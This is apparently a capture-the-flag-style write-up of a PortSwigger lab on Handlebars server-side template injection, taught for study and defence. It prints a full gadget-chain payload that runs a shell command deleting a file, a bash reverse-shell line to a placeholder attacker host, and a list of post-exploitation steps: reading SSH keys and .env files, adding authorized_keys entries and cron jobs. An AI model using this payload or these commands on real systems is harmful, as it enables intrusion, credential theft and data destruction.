PlatformPortSwigger Web Security Academy
TopicServer-side template injection
LabSSTI in an unknown language with a documented exploit
DifficultyPractitioner
EngineHandlebars (Node.js)
GoalDelete morale.txt from Carlos’s home directory
ToolsBurp Suite (Repeater + Decoder)

The idea#

You won’t always recognize the template syntax in front of you. That’s fine: the job is to make the server throw an error, read the stack trace to learn the engine, and then find a documented exploit for that engine. No prior knowledge of the language is required.

Finding the injection point#

The home page takes a message query parameter and reflects it back on the page. Here it renders the “out of stock” notice:

The lab home page.
The lab home page.
The message parameter is reflected: 'Unfortunately this product is out of stock'.
The message parameter is reflected: ‘Unfortunately this product is out of stock’.

That reflected parameter is our surface. Capture the request in Burp and send it to Repeater:

The GET /?message=... request in Burp's HTTP history.
The GET /?message=… request in Burp’s HTTP history.

Forcing an error to identify the engine#

First confirm the value is evaluated, not just echoed. Append a $ to the message; it comes back unchanged, so a plain character is safe:

A trailing $ is reflected verbatim, so we escalate to template metacharacters.
A trailing $ is reflected verbatim, so we escalate to template metacharacters.

Now throw a burst of template metacharacters to break whatever parser is behind it: ${{<%[%'"}}%\

Each piece of that string is special syntax in a different template engine: ${...} (FreeMarker, Thymeleaf), {{ }} (Jinja, Twig, Handlebars), <% %> (ERB, EJS), plus brackets, quotes and a backslash. Throwing them all at once means that whatever engine is actually running, at least one of these is invalid syntax for it, so its parser chokes and spills an error that names it.

The invalid syntax produces an Internal Server Error and a full Node.js stack trace.
The invalid syntax produces an Internal Server Error and a full Node.js stack trace.

The stack trace is the whole answer. It points at /opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/... and ends with Node.js v19.8.1. The engine is Handlebars, running on Node.js.

Finding a documented exploit#

We don’t need to know Handlebars, we just need someone who already worked out the payload. Search for “Handlebars server-side template injection”:

Searching for a documented Handlebars SSTI exploit.
Searching for a documented Handlebars SSTI exploit.

The HackerOne report #423541 (Shopify “H1514”) is the canonical write-up, and it links to Mahmoud Gamal’s blog with the full payload:

HackerOne #423541 links to the documented Handlebars RCE technique.
HackerOne #423541 links to the documented Handlebars RCE technique.
The documented Handlebars payloads; the compact variant is the one we adapt.
The documented Handlebars payloads; the compact variant is the one we adapt.

Handlebars blocks direct access to dangerous objects, so the exploit is a gadget chain: a sequence of individually-allowed template operations strung together to reach a capability the engine never meant to expose. It walks constructor.constructor, every JavaScript object’s .constructor points to its type, and that type’s own .constructor is Function, the built-in that compiles a string into runnable code, so the chain ends at a function that runs Node code. The documented version proves execution by returning process.env; we swap that for a child_process call that runs our command.

Building the payload#

Take the compact payload and replace the body with a command that deletes the target file:

wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

Sending the documented probe first confirms the chain resolves, the response leaks function Function() { [native code] }, so our constructor walk worked:

The chain resolves to the Function constructor: code execution is confirmed.
The chain resolves to the Function constructor: code execution is confirmed.

The message value is placed straight into a URL, so URL-encode the whole payload before sending it. Burp’s Decoder does this in one step:

URL-encoding the payload in Burp Decoder.
URL-encoding the payload in Burp Decoder.
The final URL-encoded message value, ready to send.
The final URL-encoded message value, ready to send.

Send that as the message parameter. The child_process.exec call runs on the server, morale.txt is deleted, and the lab is solved.

Real-world impact#

Deleting morale.txt is just a safe stand-in: the Handlebars gadget chain gives arbitrary command execution on the Node.js server. In a real, authorized engagement the same foothold escalates fast, for example:

  • Interactive access — swap the command for a reverse shell (require('child_process').exec('bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1')) for a hands-on session instead of firing one command at a time.
  • Credential & key theft — read anything the web user can: /etc/passwd, application config and .env files, database credentials, cloud tokens, and SSH private keys such as ~/.ssh/id_rsa.
  • Lateral movement — reuse harvested SSH keys or passwords to log into the host or pivot to other machines on the network.
  • Persistence & exfiltration — append your key to ~/.ssh/authorized_keys, add a cron job, or stage sensitive data for exfiltration.

It’s the same command execution you used to solve the lab, just pointed at a real objective, which is why these bugs rate critical. Only ever against systems you are authorized to test.

Remediation#

  • Never pass user input into a template as source. Render fixed templates and supply user data as bound values only.
  • Handlebars is safer when used strictly for data interpolation; avoid exposing helpers or contexts that let a template reach constructor.
  • Keep the runtime and libraries patched, and don’t return raw stack traces to users, that error is what handed us the engine and version.

A concrete, generic example, compiling a fixed template and binding user data, never compiling user input as the template itself:

// Unsafe: user input is compiled as a template
handlebars.compile(userInput)(context);

// Safe: a fixed template, user input passed as a value
const tpl = handlebars.compile("Out of stock: {{msg}}");
tpl({ msg: userInput });

Key takeaways#

  • The unknown language is only unknown until you make it crash. A verbose stack trace named both the engine (Handlebars) and the platform (Node.js).
  • “Documented exploit” is literal: the working payload already existed in a HackerOne report and a public blog; the task is to find and adapt it.
  • The Handlebars payload abuses constructor.constructor to reach Function, turning template evaluation into arbitrary Node.js execution.
  • Remember to URL-encode when the sink is a query parameter.